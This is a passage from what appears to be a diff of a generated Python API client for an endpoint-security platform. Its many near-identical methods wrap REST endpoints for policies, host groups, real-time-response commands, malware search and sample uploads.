json.decoder.JSONDecodeError: - return ret.text - - - def query_actions(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter="", q=""): - params={} - request_headers={} - url=f"{url}/recon/queries/actions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - if q: - params["q"] = q - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_host_group_ids(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/devices/queries/host-groups/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_indexed_files_metadata_by_their_hash(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/malquery/entities/metadata/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_sensor_update_policies_with_additional_support_for_uninstall_protection(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/sensor-update/v2" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def perform_action_on_the_firewall_policies(self, url, client_id, client_secret, action_name, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/firewall-actions/v1?action_name={action_name}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_process_details(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/processes/entities/processes/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_short_summary_version_of_a_sandbox_report(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/falconx/entities/report-summaries/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def schedule_a_yara_based_search_for_execution(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/malquery/queries/hunt/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_the_status_of_batch_get_command__will_return_successful_files_when_they_are_finished_processing(self, url, client_id, client_secret, batch_get_cmd_req_id, headers="", queries="", timeout="", timeout_duration=""): - params={} - request_headers={} - url=f"{url}/real-time-response/combined/batch-get-command/v1?batch_get_cmd_req_id={batch_get_cmd_req_id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if timeout_duration: - params["timeout_duration"] = timeout_duration - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def batch_executes_get_command_across_hosts_to_retrieve_files_after_this_call_is_made_get_realtimeresponsecombinedbatchgetcommandv1_is_used_to_query_for_the_results(self, url, client_id, client_secret, headers="", queries="", timeout="", timeout_duration="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/combined/batch-get-command/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if timeout_duration: - params["timeout_duration"] = timeout_duration - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def query_monitoring_rules(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter="", q=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/recon/queries/rules/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - if q: - params["q"] = q - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_sensor_installer_details_by_provided_sha256_ids(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/sensors/entities/installers/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def modify_host_tags(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/devices/entities/devices/tags/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_response_policy_member_ids(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/response-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_status_of_an_executed_rtr_administrator_command_on_a_single_host(self, url, client_id, client_secret, cloud_request_id, sequence_id, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/admin-command/v1?cloud_request_id={cloud_request_id}&sequence_id={sequence_id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def execute_a_rtr_administrator_command_on_a_single_host(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/admin-command/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def refresh_an_active_event_stream(self, url, client_id, client_secret, action_name, appId, partition, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/sensors/entities/datafeed-actions/v1/{partition}?action_name={action_name}&appId={appId}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def validates_field_values_and_checks_for_string_matches(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/ioarules/entities/rules/validate/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def check_the_status_of_a_volume_scan(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/scanner/entities/scans/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def submit_a_volume_of_files_for_ml_scanning(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/scanner/entities/scans/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def download_the_latest_rule_set(self, url, client_id, client_secret, type, headers="", queries="", format=""): - params={} - request_headers={"Accept": "undefined"} - url=f"{url}/intel/entities/rules-latest-files/v1?type={type}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_rules_by_id(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/ioarules/entities/rules/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def find_all_rule_groups(self, url, client_id, client_secret, headers="", queries="", sort="", filter="", q="", offset="", limit=""): - params={} - request_headers={} - url=f"{url}/ioarules/queries/rule-groups-full/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if q: - params["q"] = q - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def check_the_status_and_results_of_an_asynchronous_request(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/malquery/entities/requests/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_set_of_ml_exclusions(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/ml-exclusions/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_the_ml_exclusions_by_id(self, url, client_id, client_secret, ids, headers="", queries="", comment=""): - params={} - request_headers={} - url=f"{url}/policy/entities/ml-exclusions/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_the_ml_exclusions(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/ml-exclusions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_the_ml_exclusions(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/ml-exclusions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_device_control_policy_ids(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/device-control/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_firewall_policy_member_ids(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/firewall-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_notifications_based_on_their_ids(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/recon/entities/notifications-translated/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_host_group_members(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/devices/combined/host-group-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_platforms_by_id(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/ioarules/entities/platforms/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def perform_action_on_the_response_policies(self, url, client_id, client_secret, action_name, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/response-actions/v1?action_name={action_name}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_a_set_of_response_policies(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/response/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_a_set_of_response_policies(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/response/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_response_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/response/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_response_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/response/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def batch_executes_a_rtr_readonly_command(self, url, client_id, client_secret, headers="", queries="", timeout="", timeout_duration="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/combined/batch-command/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if timeout_duration: - params["timeout_duration"] = timeout_duration - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_session_metadata_by_session_id(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/sessions/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def perform_action_on_host_group(self, url, client_id, client_secret, action_name, host_group_id, hostnames, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/devices/entities/host-group-actions/v1?action_name={action_name}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - body = {"action_parameters": [{"name": "filter", "value": "(hostname:['" + hostnames + "'])" } ], "ids": [ host_group_id ]} - ret = requests.post(url, headers=request_headers, params=params, json=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_device_control_policy_members(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/device-control-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_firewall_policies(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/firewall/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_a_set_of_sensor_update_policies_with_additional_support_for_uninstall_protection(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sensor-update/v2?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_sensor_update_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sensor-update/v2" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_sensor_update_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sensor-update/v2" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_list_of_putfile_ids(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/real-time-response/queries/put-files/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_list_of_custom_script_ids(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/real-time-response/queries/scripts/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_detailed_notifications_based_on_their_ids_with_raw_intelligence_content_that_generated_the_match(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/recon/entities/notifications-detailed/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_all_event_streams(self, url, client_id, client_secret, appId, headers="", queries="", format=""): - params={} - request_headers={} - url=f"{url}/sensors/entities/datafeed/v2?appId={appId}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def download_sensor_installer_by_sha256_id(self, url, client_id, client_secret, id, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/sensors/entities/download-installer/v1?id={id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_hosts_that_have_observed_a_given_custom_ioc(self, url, client_id, client_secret, type, value, headers="", queries="", limit="", offset=""): - params={} - request_headers={} - url=f"{url}/indicators/queries/devices/v1?type={type}&value={value}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_details_for_rule_sets_for_ids(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/intel/entities/rules/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def download_a_file_indexed_by_malquery(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/malquery/entities/download-files/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_an_uninstall_token_for_a_specific_device(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/combined/reveal-uninstall-token/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_response_policy_ids(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/response/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_a_list_of_files_for_rtr_session(self, url, client_id, client_secret, session_id, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/file/v1?session_id={session_id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_a_rtr_session_file(self, url, client_id, client_secret, ids, session_id, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/file/v1?ids={ids}&session_id={session_id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_custom_scripts_based_on_the_ids_given(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/scripts/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_a_custom_script_based_on_the_id_given(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/scripts/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def upload_a_new_custom_script_to_use(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/scripts/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def upload_a_new_scripts_to_replace_an_existing_one(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/scripts/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_details_on_hosts(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/devices/entities/devices/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_actor_ids(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter="", q=""): - params={} - request_headers={} - url=f"{url}/intel/queries/actors/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - if q: - params["q"] = q - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_ccid_to_use_with_sensor_installers(self, url, client_id, client_secret, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/sensors/queries/installers/ccid/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def find_submission_ids_for_uploaded_files(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/falconx/queries/submissions/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_details_on_behaviors(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/incidents/entities/behaviors/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_device_control_policies(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/device-control/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_prevention_policy_member_ids(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/prevention-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_status_of_an_executed_command_on_a_single_host(self, url, client_id, client_secret, cloud_request_id, sequence_id, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/command/v1?cloud_request_id={cloud_request_id}&sequence_id={sequence_id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def execute_a_command_on_a_single_host(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/entities/command/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_the_file_associated_with_the_given_id_sha256(self, url, client_id, client_secret, ids, headers="", queries="", password_protected=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/samples/entities/samples/v3?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_sample_from_the_collection(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/samples/entities/samples/v3?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def upload_a_file_for_further_cloud_analysis(self, url, client_id, client_secret, file_name, headers="", queries="", comment="", is_confidential="", body=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/samples/entities/samples/v3?file_name={file_name}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if is_confidential: - params["is_confidential"] = is_confidential - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_response_policies(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/response/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_a_set_of_firewall_policies(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/firewall/v1?ids={ids}" - 